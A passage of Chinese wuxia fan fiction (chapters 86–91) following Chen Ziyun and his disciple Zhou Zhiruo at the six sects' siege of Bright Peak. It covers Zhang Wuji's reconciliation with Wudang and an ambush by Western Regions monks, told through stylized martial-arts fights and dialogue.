华山派的反两仪刀法虽然也不差,可终究抵不住张无忌手中如玩具一般的大石头,这才是真的以力破巧。 本来华山派两个老东西对付张无忌一个,已经是不要脸了,可后面昆仑派又加了班淑娴与何太冲这对更不要脸的夫妇。 两仪剑法和反两仪刀法要是真的能组成刀剑两仪之阵,倒是说不得能将张无忌这小子斩于刀下。 可别说他们分属两派,就是各派两人自己之间都不能心神合一,这又怎么能将这阵法的威力真正发挥出来。 而且就他们的那些学识,能把易经要义学到个两三分就已经是了不得了,现在他们就是在欺负张无忌不懂易理,找不到他们变化之中的八卦方位而已。 “芷若,从前我就跟你说过,这降龙掌本来也是从易经里悟出的拳理。你如今看这套刀剑之阵可有见解?” 陈子云说道后面半句故意抬高了声音,让那边正在打斗的张无忌也能听到。 周芷若见陈子云如此,自然也就明白了自己师父的意思,同样抬高声音答道。 “公子,正如你所教:天地定位,山泽通气,雷风相薄,水火不相射,八卦相错。数往者顺,知来者逆。昆仑派正两仪剑法,是自震位至乾位的顺;华山派反两仪刀法,则是自巽位至坤位的逆。公子,是不是啊?” “不错不错,那若是不懂这八卦方位的人又要如何破这刀剑之阵呢?” 陈子云道。 “那自然还是根据公子以前说的,当以功力欺人。管他如何变化,我自一掌过去,只要把他脚打骨折了,还怕他跳起来不成?” 周芷若朗声答道。 “哈哈哈,不错不错。如今有八条腿绕的我眼晕,我就把这八条腿都给打折了再说。” “八条腿,那不成了螃蟹了吗?” 周芷若巧笑一声道。 群雄听了周芷若这话,也是憋着笑,发出一阵阵的噗嗤声。 “是哪个在胡说八道,给我出来。” 班淑娴柳眉倒竖大声喝道。 原来刚才因为陈子云的故意提醒,张无忌已经把这两仪刀剑阵给破了。此时这位怨妇正无处发现怒火,正要找这出声提醒之人的麻烦。 第八十六章 天地同寿 站在前面的武当弟子,几乎都挡在了陈子云他们马车的前面,这应该是宋远桥示意的。 本来武当就看不上华山跟昆仑两派这般不要脸以四打一的行为,何况陈子云跟周芷若又是武当的大恩人,怎么可能让班淑娴这种怨妇在此叫嚣。 班淑娴叫唤了一阵,可终究是没能找到当事人。刚才陈子云跟周芷若出声都是故意用内力将声音扩散的传出去的,就像是四面八方都有声音一般,她自然找不到来源。 后面便是灭绝师太拿着倚天剑上场了,可惜倚天剑虽然锋利但是再锋利的剑砍不中人也是徒劳。 张无忌仗着自己的乾坤大挪移跟体内的九阳真气,奔跑如飞,打的灭绝师太只有招架之功,毫无还手之力。 这次可没周芷若的当胸一剑了,那些赶上去帮忙的峨眉弟子也被张无忌打了个凌落不堪。 这下更是把灭绝师太气的差点要跟张无忌同归于寂,虽然她知道自己徒弟是看不过她落败才来帮忙的。 可这一场输的就不只是他灭绝师太了,而是整个峨眉都一起输了。 而有陈子云在,自然也不会再让宋青书这个傻小子,上去找自己堂兄弟的麻烦。 而且现在周芷若虽然也表现出了对于张无忌的些许兴趣,但还没到眉目传情的地步。 “你要是能赢我倒是不拦着你,可青书啊,你真的有这个信心吗?要是在芷若面前丢了丑,可别怪我没提醒你哦。” 陈子云这句话直接让宋青书认清楚了现实。 武当的功夫本来就是脱胎于道家,后劲十足;但前期确实需要足够的积累。现在的宋青书正是刚登堂入室的时候,再过个十年,就是张无忌也不一定能稳赢他。 这小子不缺天赋,也不缺名师,却的不过是时间而已。 后面还是殷梨亭忍不住了,不顾众师兄弟的劝阻,提着剑就跟张无忌打了一场,毕竟要找杨逍报仇,张无忌这关一定要过。 而张无忌呢,本来见自己六叔就想认亲的,可看到殷梨亭那满眼的血色又自觉亏欠了这位从小对自己很好的叔叔。 他毕竟帮着背叛了殷梨亭的纪晓芙,还将她跟杨逍的女儿杨不悔送上了昆仑。 所以也本着让殷梨亭发泄的心思,小心翼翼的跟他殷六叔过了几招,不求有功但求无过。 可本以为能逐渐消气的殷梨亭却是越打越暴躁,看着那个近在咫尺的大仇人,自己竟然被人拦在了此处。 恍惚之间纪晓芙惨死的面容在殷梨亭脑中浮现,他当初从峨眉派口中得知这个消息的时候简直是心若死灰,恨不得就跟自己这位未过门的妻子一起去了。 想着这里,手中的剑招自然而然的露出了同归于尽的狠厉,完全不顾自己的安危,就朝着张无忌的周身要害而去。 如今的殷梨亭已经不是那个武当第六侠了,而是一个只想给自己爱人报仇的凄惨丈夫。 一招“天地同寿”终于从殷梨亭最后的挣扎中使出。 “六弟!” “师哥,不可。” 武当众人纷纷大喝一声。连陈子云都准备发出指力阻止了。 可众人再快,也没有正在跟殷梨亭过招的张无忌快。 在面对自己最亲的人真的要跟自己同归于尽的时候,张无忌也差点被吓懵了,完全无法正常的思考。 要是殷梨亭死在自己的手里,那他如何面对武当,如何面对太师傅,如何面对自己死去的父亲。 张无忌不管不顾直接挺身向前,用自己的胸膛,在殷梨亭把剑插入自己的身体之前挡住了剑锋。 随即殷梨亭的长剑狠狠的刺入了张无忌的胸口。 一声“殷六叔”与一口鲜血同时从张无忌的口中喷出。 接下来就是武当众人与张无忌认亲的戏码,陈子云则是收回了自己的手指。 “公子,你刚才出手了吧。” 周芷若问道。 “我不出手,难道看着那两个傻蛋被自己的剑给贯穿吗?” 陈子云道。 “我就说,好好的武当宝剑怎么就突然断了。那小子也是够狠的,要是这把剑再偏一些,恐怕他就没命了吧,难道不怕死吗?” 周芷若道。 “哪有人是不怕死的,只不过是有些事情比让他面对死亡还恐惧罢了。” “他就是公子曾经提起过的那位武当五侠张翠山的遗孤,张无忌吧?” “怎么猜出来的?” “感觉。” “哦?” “嘻嘻,只是用了公子以前说过的排除法。像武当派这样用类似用亲情维护自己传承的门派,不可能存在一个愿意为他人赴死却相互不认识的情况。 排除了其他人,而失踪了五年的那位张无忌就是剩下的唯一可能,自然也就是答案了。” “芷若,你说他是无忌师弟?” 宋青书似乎有些激动。 “怎么,不相信?” 陈子云笑着看了宋青书一眼,这小子脸上的神情也有几分惊喜,看来他对于昔日的那位病秧子师弟还是有几分情意的。 “青书不敢,青书先告退。” 看着宋青书着急忙慌的赶了过去,陈子云暗暗点头,起码此时的宋青书三观还是很正的。 “可怜啊,没想到没了你,张无忌这小子还是躲不过这当胸的一剑,啧啧。” 陈子云摇头轻语。 “公子说什么?” 周芷若满脸的问号。 “没什么,我说宋青书这小子可比张无忌帅多了,不是吗?” 陈子云对周芷若笑道。 “哼。” 周芷若明显也知道自己这师傅又不正经了。 “再帅也没有公子你好看,芷若越发的觉得,要是公子穿上女装一定比芷若还动人。” 陈子云举起手里的折扇就往周芷若的额头上敲了一下,不论她怎么闪躲,终究还是挨了一下。 “公子......” 周芷若这一声婉转的旖旎声中满是幽怨。 “哼,想开我的玩笑,等你能躲得过本公子的折扇再说吧。” 陈子云并不理会周芷若的埋怨。 “把药吃了。” 陈子云从怀里掏出一个药瓶递给了周芷若。 “胡师傅的解毒丹?有人投毒?” 周芷若一边询问,一边皱着眉头把药瓶里面的丹药倒出来一颗服食了下去。 “现在还没有,不过以防万一。” 陈子云道。 周芷若眼神犀利的往马车外打量了一圈,似乎在寻找可能对他们投毒的对象。 第八十七章 一指惊神 “不用费力了,那些人现在不在这里。” 陈子云道。 “难道不是江湖人,是元廷的人?” 周芷若问道。 “有什么区别?不管是谁来,只要我们做好了防备,谁来都是一样的结果。” 陈子云道。 “咦,黄大哥呢?” 周芷若发现本来守在马车旁边的黄柏年此时已经不见了。 “他有自己的事情要做,不用管他。” 陈子云道。 “是被公子派出去找那些黄雀了吧。” 周芷若若有所思的道。 “那些黄雀既然早有计划,自然也不是这么容易被人找到的。小黄那边最多就算是一招闲棋,可别指望他在关键时候出来救我们。” 陈子云道。 “哼,公子也太瞧不起人了,你见芷若什么时候把指望全部放在别人身上的?” 周芷若昂着她雪白细腻的脖颈说道。 “哦,那我就拭目以待。” 陈子云道。 殷梨亭依旧知道了杨不悔的存在,以及纪晓芙的真正死因,这对于任何一个男人来讲都是天大的耻辱。 当他想扔下一切逃离这里的时候,一道指风直接点在了殷梨亭的玉枕穴上,当场就不省人事了。 “青书,将你六师叔带到马车上来,他现在神思不定,需要看护好他。” 陈子云缓步走出了马车对着宋青书说道。 宋远桥、俞莲舟、张松溪、莫声谷正在为张无忌运功疗伤,这是自然只能宋青书来做了。 “是。” 宋青书将殷梨亭抱起,往马车而去。 “是你,刚才就是你提醒这个小子的,你跟魔教是何关系。” 班淑娴听到陈子云的声音一下子就认出来了,立刻就想把他扯到魔教那边去,好让自己有理由出手报复。 所以说千万不要得罪女人,他们记仇的能力不是你能想象的,尤其是像班淑娴这样的怨妇。 “聒噪。” 陈子云也知道,跟这种人你将再多的道理也无用,而只要让对方认识到自己是他们得罪不起的人,那保证他们连屁都不敢放。 所以陈子云的做法很简单,三道指风在瞬息之间分别弹在班淑娴的手腕、剑鞘与剑柄之上。 弹在手腕上的一指,让班淑娴疼的下意识的就放开了手中的长剑;而弹在剑鞘上的一指,直接让这乌木做的剑鞘直接四分五裂;最后弹在剑柄上的那一指,更是把剑斜斜的插在了班淑娴的两腿之间。 这刹那之间完成的三指,让本来还想指着陈子云咒骂的班淑娴瞬间就闭上了嘴。 倒是何太冲这个向来惧内的昆仑掌门反应的还算快,持剑挡在自己夫人面前。 “休得暗箭伤人,你是何方鼠辈?” “鼠辈?” 陈子云双眼一眯,直接一指“惊蛰”往对方的脸上打去。 何太冲连忙抬剑要当,可这一指与刚才教训班淑娴不同,是陈子云含怒而发,指力霸道的很。 只听得啪的一声,指风打在何太冲的宝剑之上,竟然连人带剑的往后滑行了三四米才停下。 而此时的何太冲满脸涨的通红,双手双脚更是齐齐的在发抖,要不是他见机不对将宝剑当做拐杖拄着,估计这会儿都站不稳了。 除了武当诸位跟灭绝师太,在场众人见突然又冒出一个年纪不大的青年人竟然用几道指风就把昆仑派掌门夫妇打的毫无还手之力,简直匪夷所思。 刚出了一个张无忌力压六大派已经是前无古人的事情了,怎么又出一个,这江湖难道已经这么陌生了吗? “阿弥陀佛,这位施主好奇妙的指法,不知施主是姓朱还是姓武?” 空智和尚是这次六大派围攻明教的首领,虽然眼看着行动彻底失败了,但那是见昆仑派掌门受辱,自然是要出声的。 朱武连环庄有一阳指传承的事情,别的门派可能不止,他们少林又怎么会不晓得。 “嘿,大和尚以为我这是一阳指?” 陈子云自然听出了空智和尚的意思,不由得嘴角一翘。 空智和尚皱起了眉头,暗想这年轻人当真是无礼,不说自己如今代表的是少林,就凭自己的年纪,对方也不应该如此称呼自己。 “相传一阳指练到高深处,能以隔空指力伤人。老衲观施主刚才伤昆仑两位贤伉俪的功夫,跟传说中的一阳指如出一辙。” “老和尚倒是有些见识,不过这天下间的指间功夫多的是,怎么就要让这一阳指专美于前。” 陈子云不以为然的说道。 众人见他口气如此狂妄,不由得纷纷侧目。 “谷雨、夏至、立冬。” 陈子云并不在意众人的目光,自顾自的念叨出了三个词。 “什么意思?” 有人疑惑的问道。 “最后一指为‘惊蛰’。” 陈子云指了指如今已经缓过神来,却满眼忌惮的盯着他的何太冲与班淑娴夫妇道。 众人这才明白过来,原来陈子云是在介绍他刚才发出的那四道指劲。 “这是什么指法,怎么还跟农人的节气扯上关系?你又是谁?” 有人好奇的问道。 “既然已节气为名,自然就是‘二十四节气指’,不过这指法的威力足可惊天地泣鬼神,那就不得不加上‘惊神’二字。” 陈子云一副理所当然的神态说道。 “二十四节气惊神指?好狂妄的名字,你到底是谁?连个名字都不敢留吗?” 好像是华山派的那个矮个子的老头在说话。 陈子云叹息的摇头。 “既然是二十四节气惊神指,那人自然就是白愁飞了。” 陈子云一副你们真没见识的摸样。 “什么,你就是白愁飞!” 那个华山高个子长老直接跳的脚尖离地,比他那位矮个子师兄还高出了几寸。 华山派的众人瞬间就围了上来,虽然玉女峰思过崖上的刻字已经被他们凿去,可那刻进华山众人心中的耻辱与仇恨可还在淌着鲜血呢。 就连灭绝师太也很是惊奇,这个她始终看不出高低的年轻人,会在众目睽睽之下承认自己的身份。 她自然不屑去做故意暴露陈子云身份,好让华山派找他麻烦的事。但是如今对方自己说出来,灭绝师太也不介意看看,这几次欺辱他们峨眉派的小子要如何收场。 武当派的人自然不会看着陈子云被华山派的人围攻,纷纷守在了他的四周。 第八十八章 以力压人 “武当派的,你们要做什么,难道你们要与我华山派为敌?当初我们早就派人给你们送过信的,这姓白的敢上我华山杀我掌门,乃是我派不共戴天的仇敌。 你们武当派若是想维护这人,我华山派就是今天死光了,也不与你武当干休。” 这华山的高个子脾气当真是如炸药一般,他也不想想,如今的武当派将江湖上是什么地位。 那已经是公认的能和少林寺并驾齐驱的存在,他华山派有什么资格跟人家叫嚣。 “师弟,休得胡说,武当派张真人德高望重,我们都是敬佩的。武当诸位向来也是以侠义成名江湖,怎么会做出这样人神共愤的事情。” 这矮长老明显就是个有心机的,几句话就把武当架了起来,让他们投鼠忌器。 “华山两位前辈,白大侠与我武当渊源甚深。他若有难,我武当自己绝不敢袖手旁观。 至于白大侠与先掌门鲜于通之间的纠葛,宋某在江湖上也有些耳闻,怕是这里面的是非还有待商榷。” 宋远桥几人已经停下了给张无忌的治疗,见华山派向陈子云发难,也不避讳,直接开口道。 “哼,江湖流言岂可信,宋大侠难道连这些常识都没有吗。那分明是这姓白的故意放出来诋毁我华山派的。” 矮个长老自然不会承认,否则他华山派如何在江湖立足。 “不,我可以证明那些关于华山派前掌门鲜于通的江湖传言都是真的,咳咳。” 张无忌此时也用九阳内力压住了伤势,给陈子云声援道。对于这位曾经相处过一段时间,不但帮他治疗,还教导过他的白叔叔,他还是很有感激之心的。 “哼,你一个魔教匪类的话如何能让人信服。” 矮长老此时为了维护自己门派的名声,显然是不顾个人的脸皮了。 “你......” 张无忌正要反驳,陈子云抬手晃了晃,示意他停下。 “无忌,我记得你小时候我就跟你说过。让你多看看历史,那里记录的都是先人的经验与智慧。 你现在仔细回想一番,这浩浩史书中有哪一篇书目上写着有人靠讲道理讲赢而得了这天下的。” 陈子云这话一出,张无忌讷讷无语。 “而且啊,大家都是混江湖的,说那么多干什么,有些道理你要讲,也是要讲给能听明白的人。 否则一个人连钟子期是谁都不知道,你却非要在他面前弹什么高山流水。你这不是问道于盲,对牛弹琴吗? 所以听我的,在江湖上,你有道理可以,但如果你要跟人讲道理,就先把人打趴下。 要不然对方手里还拿着刀剑,你好好的跟他讲道理,说不准人家趁你不注意还捅你一剑呢。” “噗嗤。” 陈子云这话让听明白的人不由得掩嘴一笑,这是赤裸裸的在骂华山派的人不讲道理啊。 “好你个坏小子,拐着弯的骂人。看刀。” 那高个子长老一跃就跳过了挡着他的武当弟子,直接一刀“日月晦明”斩向陈子云的胸口,看那力道显然是要将他开膛破肚啊。 高长老的这一刀来得突兀,就连武当众人也没想到,这人会完全顾及武当的面子,在他们的眼下伤人。 纷纷想要上前阻拦,可此时的对方的刀锋已经到了陈子云的面前,他们是无论如何都来不及拦下了。 可还没等他们呵斥华山派的人不讲规矩,就听得三声急促的金铁相交之音。 “叮叮叮。” 彷佛是两把宝刀宝剑相互击打的清脆之声,可众人见到的分明只有高个长老的一把刀。 而陈子云似乎就在刚才瞬息之间对着那把寒光灿灿的华山宝刀弹了一下,或者两下。 可两指如何是发出三声响的呢,而且用血肉之躯的手指弹在宝刀之上,又怎么会发出这般清脆的声响。 正当众人疑惑不解的时候,只听得一声铿锵。 那原本威势不凡的华山宝刀,竟然直接从中间断成了两截。 “啊,我的刀。” 高个长老一声惊叫。 可还没等他破口大骂,陈子云的手指已经点在了他的身上,只见那只如玉般的手掌,轻轻在高个子长老身上拂过。 又如清风一般流去,而那高个子长老顿时就不动了,连眼皮子也没有再动一下。 那张着的嘴巴依旧张开着,嘴里的涎水缓缓从嘴角留下。他也不知道去擦,任凭他变的跟一个痴呆儿一般模样。 “师弟?你对我师弟做了什么?” 矮个子长老发现了自家师弟的不对劲,试探着用力点了点他周身的穴道,不过依旧毫无反应。 “白愁飞,我师弟只是一时激愤,并无他意,你快把他穴道解开。” 矮个长老倒是个能屈能伸的。 “哦,激愤,一时激愤就要取人性命,看来你们华山派果然是好传统啊。” 陈子云轻蔑一笑。 “姓白的,要不是你先杀我华山掌门,辱我华山门风,我师弟怎么会找你报仇。 你如此行径,不是邪魔外道是什么?” 矮个子长老见低头不行,又想把陈子云打到邪魔的队伍里,想让所谓的正道群起而攻之。 “前辈,我们敬你年长,可也不要把所有江湖同道当成傻子。你们那位死掉的掌门鲜于通,到底是怎么回事,大家心里都清楚。 是是非非,江湖自有公论,不是前辈你一句话就能定的。” 莫声谷早就有些看不惯这华山二老的,不但与昆仑那对不要脸夫妇一起联手欺负他的小侄子,现在竟然还来为难自己的好朋友,简直不把武当放眼里。 “你......你目无尊长,张三丰就是这么教你们的。” 矮个长老也像是被错破了心事,直接指着武当众人喝道,一派长辈自居的摸样。 “你敢!” 武当众人皆是面露怒色,平时他们根据张三丰的教导都算是和气待人,可一旦有人辱及恩师,那你就能看到一帮不一样的武当弟子。 “所以我早就跟你们说过了,张老道自己虚怀若谷,不跟这些后生晚辈一般见识。 可虚着虚着,人家就以为你们是真的虚了,搞的你们这些做弟子的在外面被人这样的数落。 他们早就忘了,你家师傅是跟峨眉祖师郭襄同一辈的人物,现在的少林众僧都是他老人家的晚辈。 结果这个不知所谓的华山长老就敢跟张老道并驾齐驱,虽然说他自己无知,可这里面难免也有你们武当放纵的缘故。” 陈子云的肆无忌惮的将江湖几个大派都数落了一遍。 第八十九章 教训殷老六 “咳咳,白大侠,师父的决定哪里是我们这些做弟子的能置喙的。至于这些人胡说八道,他老人家也不会放在心上。” 宋远桥这话顿时让被陈子云戳穿心思的那些门派领头人纷纷羞愧。 就连一向自认为不弱于人灭绝师太,在听到陈子云说道张三丰的时候也起了肃然敬意。 她为人虽然霸道,但是也不是傻子,自然也能体会得出来武当派对她们峨眉的照顾。 如果不是出了纪晓芙那档子龌龊的事情,他们两家肯定还能再关系上更加亲密,可恨的杨逍。 不过现在见杨逍面上无须的白净摸样,又不由得解气的很,说来这事情还让他们峨眉欠了白愁飞一个人情。 想到这里,灭绝师太看了一圈四周然后开口说道:“张真人德高望重,我峨眉派自然不敢丝毫懈怠。要是有人对他老人家不敬重,那便是于我峨眉为敌。” 灭绝师太这话一出,众人都是差异。在他们眼里,本来峨眉就隐隐有了仅在少林武当之下的地位。 此时不是正应该想办法打压这两派,提升自己门派在江湖上的威望才是吗。 陈子云若有深意的看了这个老尼姑一眼,自然明白对方的意思,这是在想办法还自己人情呢。 而有了峨眉跟武当同时给陈子云站台,华山派要是再跟他过意不去那就真的是不识时务了。 那矮个长老叫来了两个华山弟子,将自己仍然不能动弹分毫的师弟给抬了出去。要是让他求着陈子云解开穴道,他们华山派丢不起这个人。 随着华山派的离开,其他的六大派也纷纷准备启程了,这一场仗打下来,几大派都死了不少人。 收拾尸体跟善后也不是一件小事,可惜的是这次六大派围攻光明顶试图彻底消灭魔教的企图终究还是失败了。 而且往后怕是也没这么好的机会了,后面就是他们六大派要分别面对魔教的报复了。 陈子云在走之前略有犹豫的看了一眼那个吸血蝙蝠,想着要是在这个时候把他杀了划不划算。 最后他还是放弃了,有了张无忌的九阳内力帮忙,这老东西应该也不用再靠吸血疗伤了。 就算是给张无忌一个面子吧,怎么说也是明教的一个主要战力。 陈子云跟着武当众人启程,先是收敛了那些死去的弟子,然后就是火化。把这些尸体带回武当是不现实的,只能烧了放进罐子里才行。 看着自己师兄弟的尸体,那些刚出师的武当三代弟子都不由得泪目,就连一向傲然的宋青书也不例外。 只有那几个见惯了生死的武当四侠,堪堪维持着自己作为师长的威严。 “你们要记住,有了今天的教训,回武当之后,当勤奋练武,将来你们才能在残酷的江湖厮杀中保护好自己,也保护好自己的同门。” 宋远桥也不放过这种刚刚亲身体会过的机会教训道。 “弟子谨记。” 武当众人回应道。 “公子,江湖离乱,江湖中人就好比这浪潮中的尘埃一般,随风而逝。也不知道芷若是不是也有这样的一天。” 周芷若眼含着热泪,神情有些凄楚的说道。 陈子云怜惜的摸了摸她的头发道:“不会的,就算这江湖上的风浪再大,芷若也只会是那弄潮儿,而不会是一闪而逝的浪花。” 周芷若本来就是善良柔和的性情,这几年是因为陈子云不自觉的将手里的事情都交托给她,才让她养出了几分上位者的思维。 可终究还是活在陈子云这把打伞的庇护之下,有些事情她听过的多,实际经历却还是少了些,尤其是这种残酷的场面。 “啊嗯......” 本来在马车上好好躺着的殷梨亭突然发出了一声呻吟。 “醒了?” 陈子云道。 殷梨亭明显还没有真正的缓过神来,只是摸着自己任然昏涨的脑袋。 “杨逍,芙妹,你怎么会这么对我!” “别做梦了,你才见过人家几次,有必要这么死去活来吗,不要太入戏了。” 陈子云有些无情的嘲讽道。 其实殷梨亭跟纪晓芙的婚姻就是最典型的包办婚姻,他们两人只是作为武当与峨眉联姻的工具人,其实他们之间并没有多少感情可言。 只是这个时代这种普遍存在的婚姻方式,让两人都觉得对对方负有一定责任。一个因为失身于杨逍而觉得对不起殷梨亭,一个又以为自己作为对方的未婚夫有责任为自己的妻子报仇。 这种情绪的渲染之下,本来两个并没有多少情感的男女,似乎都在彼此的心里留下了不可磨灭的痕迹。 “不,芙妹是不会这么对我的,一定是杨逍那个混蛋,一切都是他的错。” “啪。” 陈子云直接反手一巴掌扇在了殷梨亭的脸上。 “殷梨亭,殷老六,你给我醒醒,堂堂武当六侠,难道心眼里就只能装得下一个纪晓芙。你的那位年过一百的师傅的期望,你那些师兄弟对你的情意,还有你那死去的五哥也在阴间看着你呢。 给我收起你这埋汰的嘴脸,给我想清楚,你殷梨亭难道就是为了一个纪晓芙活着的?” “呜呜,师傅,五哥,梨亭没用啊,没脸见你们。殷梨亭对不起武当,对不起师傅。” 殷梨亭说着就是一掌朝自己的脑门上拍去。 “靠,张三丰是怎么教徒弟的!” 陈子云直接一巴掌又扇在了殷梨亭的脸上。 “想死,先回武当问问张老道,看他能不能承受的住再来一次白发人送黑发人的悲伤。” “师父.....” 殷梨亭直接瘫软了下去。 “哎,多谢白大侠开导六师弟。” 原来不知道什么时候,宋远桥已经来到了马车旁边。 “宋老大,不是我说你们。你也好,张老道也好,是不是把下面的这些弟子都教的太板正了一些。 你跟俞老二还好,可下面的几个明显把恪守道德的要求拔的太高了。张老五为了所谓的一人做事一人当宁可自刎,这殷老六又为一个见都没见过几次的未婚妻要死要活。 我都不知道是你们是道德高尚的儒家君子,还是不合时宜的江湖大侠?” 陈子云完全没有顾及,要是别的人敢在宋远桥面前说这些话,说不得就要成为武当的生死大敌了。 第九十章 拦路 “哎,五弟是师父最看好的,也可以说是实际上的关门弟子,师父对他的期望很高。 而六弟跟七弟,年纪太小,几乎是我跟莲舟一起养大的,对于他们总是有些过于理想的期待。 当时我们也不知道这么做是不是对他们会有什么不好的影响,现在看来,哎!” 宋远桥长叹一声。 他如今已经快六十岁了,对于不过三十多岁的殷梨亭,在他的眼里其实跟自己的孩子也没有多少区别。 为了照顾神情恍惚的殷梨亭与收集那几位死去的弟子的骨灰,武当派在光明顶山脚下停留了几天。 等殷梨亭从自责的深渊里爬了出来,他们才开始启程。 当然,让也就是只是刚刚爬出来,要彻底的恢复这不是靠陈子云的几句话就能做到的。 “来了。” 本来在马车中打坐的陈子云突然开口说道。 “再吃一颗,这东西非比寻常。” 陈子云把解毒丹分给了周芷若,自己也同样吃下了一颗。 “是元廷的人?” 周芷若照着眉头问道。 “是一群和尚。” 陈子云道。 “和尚?少林寺的?” 周芷若疑惑的问道。 “算是同根同源。” 陈子云侧耳听着外面的动静。 一阵阵梵音传来,这让周芷若也绷直了身体,右手搭在后腰,随时准备出手。 “怎么回事,我的内力怎么用不了。” “师兄小心,这些人有古怪。” 陈子云听到此处,也知道外面的武当弟子怕是已经都着了道。 “芷若,跟我一起去会会这些西域的大和尚。” “是,公子。” 周芷若随着陈子云从马车里走了出去。 此时武当众人早就已经纷纷利剑出窍,指着突然出现的这几个不速之客。 “嘿嘿,既然都中了十香软筋散,那就不要在负隅顽抗了,贫僧带你们到大都享福去,不是更好。” 那些人中的其中一个恶和尚邪笑着说道。 “你们到底是何人,为什么扮成少林僧人模样,到底意欲何为?” 宋远桥厉声喝问道。 “冒充,呵呵,我们何必要冒充,这嵩山少林又有什么了不起的。” 那和尚眼里都是红色的凶光。 “你说的不错,嵩山少林确实没什么了不起的,不过你们这些从少林跑出去的叛徒,也同样不是什么上道的货色。” 陈子云身形变幻了几次就来到了宋远桥的面前,看着那个恶和尚悠然说道。 “你是谁?” 这家伙明显没有想到会有陈子云这么壹号人物藏在武当派的队伍里,而且看对方的样子,似乎并没有受到十香软筋散的影响。 “在想知道师傅是谁之前,是不是应该先问问徒弟?” 周芷若一个闪身也来到来陈子云的身边。 “你?” 那和尚也愣住来,本来有一个高深莫测的陈子云已经是意料之外来,怎么又出现一个恍若天人的小姑娘。 “师兄,这个女施主就交给师弟吧,自从大都来了西域,师弟已经禁欲许久了。” 后面一个年轻一些的和尚看着周芷若若神若仙的身姿,口水都快留下来了。 “找死。” 周芷若如何受得了对方这样肆无忌惮的话语,直接在腰间一抹,一条雪白色的长鞭就朝着那人卷去。 那和尚似乎也没想到,周芷若会如此突然的出手,等他举起手中的长刀,周芷若那根雪白色的长鞭早就抽在了他的脸上。 “哎呦!” 那和尚直接一声惨叫,捂着的半张脸一下子就血肉模糊了。 陈子云心里暗想,周芷若这一鞭子也是够狠的,这家伙估计以后都没有好脸见人。哦,不对。那家伙的面貌本来就可憎的很,这倒是跟周芷若的这一鞭子关系不大。 “杀了她。” 那个领头的恶和尚朝着周芷若一指,后面众多的僧人就一起涌了上来。 “想伤害周姑娘,先过我宋青书这关。” 本来就差用长剑拄地的宋青书,此时不知道哪里来的力气,竟然走到了周芷若的旁边来。 啧啧,陈子云嘴角微微上翘,这宋小子英雄救美的心思倒是够积极的。 “小子张嘴。” 陈子云直接弹出一颗胡青牛特制的解毒丹,虽然这东西并不能直接解除十香软筋散,但终归是能抵消一些影响。 宋青书此时也不疑有他,直接张嘴一口就将陈子云弹过来的药丸吞下。 此时周芷若的白蟒鞭法已经施展开来,而围着她的那几个人也是指掌拳脚不断的往周芷若身上砸去。 这西域少林最为擅长的就是大力金刚掌与金刚指,要是一般的武林人士跟他们硬拼,就算是刀剑也会被他们练就的指掌给折断。 可惜周芷若的白蟒鞭法缠柔之变正是这类刚猛功夫的克星,作为九阴真经上的武当自然有其独到之处。 九阴真经乃是黄裳观道藏所创,这其中阴阳互生,以柔克刚的道理更是其根本的法门所在。 而鞭法正是将阴阳之道阐释的最为极致的兵器,只见周芷若手上的雪白蟒鞭,时而阴柔,让围攻他的几人混不着力;时而又变的霸道,一旦掠过对方是身体就像是被刀割一般,顿时皮开肉绽。 周芷若本来正渐入佳境,把这活儿围攻她的和尚打的有苦说不清。可一旁刚刚吃了解毒丹,恢复些力气的宋青书却是看不下去了。 宋青书的眼里简直要冒出火来,自己捧在手心里呵护都来不及的周姑娘竟然被一群野和尚围攻。 而他们肮脏的手竟然还敢朝着周芷若纯洁无瑕的身体上蹭,简直是不当人子。 “周姑娘,我来助你。” 宋青书完全没有理会周芷若眼神的暗示,还以为是对方正期待着他上去解围。 直接一剑就劈向了最外围的一个和尚,对方本来就听到了宋青书的声音,随即回手一掌,直接拍在宋青书的剑上。 宋青书见此正心里暗骂此人的愚蠢,竟然用肉掌来挡他的宝剑,就算他此时只是回复了平时两三分的力气,也有信心将此人的手掌一剑斩下。 可就在他的宝剑砍中那和尚的手掌之时,只听得那和尚口中一声呼哈,手掌一撮,一掌拍在了剑身的侧面。 突然的巨力从宝剑上传来,宋青书本来不多的力气差点就没有握住自己的剑柄。 而随着宋青书想不通为何会如此的时候,那和尚的另一只手已经捏着指决,朝着他的咽喉点来。 “青书,小心咽喉。” 听到宋远桥的呼喊,宋青书本能的撤剑回档,叮铃一声,他直接连人带剑被打的倒退了五、六步。 “别管这小子,他还是个软蛋。” 那和尚不知为何没有乘胜追击,只是大声的喊了一句,然后就回到了围攻周芷若的队伍里。 第九十一章 配合 宋青书在听到对方那不屑的语气时,连耳垂都红透了。他作为武当第三代第一人,速来都是骄傲的,何时有人敢这么羞辱他,这简直比被刚才一指戳穿他的喉咙还教他难受。 尤其此时还是在他如今最在意的心上人面前,宋青书红涨的脸感觉要把自己整个人都点燃了。 不过点燃了也好,一把火把自己烧成了灰烬,周姑娘就不用看到自己这般不中用的样子了。 “干嘛呢,低着头。你家张老道可不在,真武帝君也还在紫霄宫里,你一个堂堂武当三代首席,谁让你这么低头丧气的。 就那个上不了台面的小秃驴? 赶紧再吃一个解毒丹,芷若还等你帮忙呢。” 陈子云直接把一颗解毒丹塞进了宋青书的嘴里,一把把他的头抬了起来。 “我......” 宋青书依旧有些犹豫不决。 “我什么,跟个受气小媳妇似的。宋青书,你到底明不明白,你现在面对的是什么场面。 如果芷若挡不下这些秃驴,你跟你这些师叔师伯,还有这些武当弟子将会面对什么境遇? 是生是死,到时候可就在这些人的一念之间了。你此时竟然还在犹豫?难道张老道跟宋远桥就是这么教你的,在危急时刻只顾自己心头的儿女私情,全然没有大局之观。 你们武当是想传到第三代就断绝吗!” 陈子云说道毫不客气的喝道。 宋青书这才敢回头去看那些已经坐倒在地的武当众人,当看到自己父亲那殷切中带着鼓励的眼神时,他终于又有力气拿起他的长剑了。 “白大侠,请你帮我照看他们。” 宋青书轻轻一跳,提剑就往包围圈而去。 “力气不如人就别用蛮力,张老道研究了百年传下来的功夫,也不是只能靠内力施展的。” 陈子云随意的提醒了一句,就缓缓的走到了宋远桥的旁边。 “你这儿子什么都好,就是长期生活在优渥之中,临到危机关头,永远想些有的没的。” “这次也多亏白大侠指点小儿了。” 宋远桥虽然无力,但是看着宋青书振作起来的摸样倒是有几分欣慰的笑意。 “哎,没办法。自己家的闺女太优秀,我这个当师傅的也头疼啊。好不容易找个能勉强看的过眼的,总要在后面使力气推一把啊。” 陈子云道。 